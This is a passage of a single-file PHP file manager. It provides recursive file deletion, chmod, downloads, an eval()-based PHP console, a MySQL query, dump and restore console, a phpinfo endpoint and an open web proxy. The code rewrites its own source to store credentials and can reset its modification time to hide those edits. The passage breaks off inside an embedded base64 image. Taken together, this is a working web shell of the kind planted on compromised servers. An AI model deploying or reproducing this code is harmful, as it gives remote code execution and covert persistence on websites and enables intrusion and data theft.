			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWH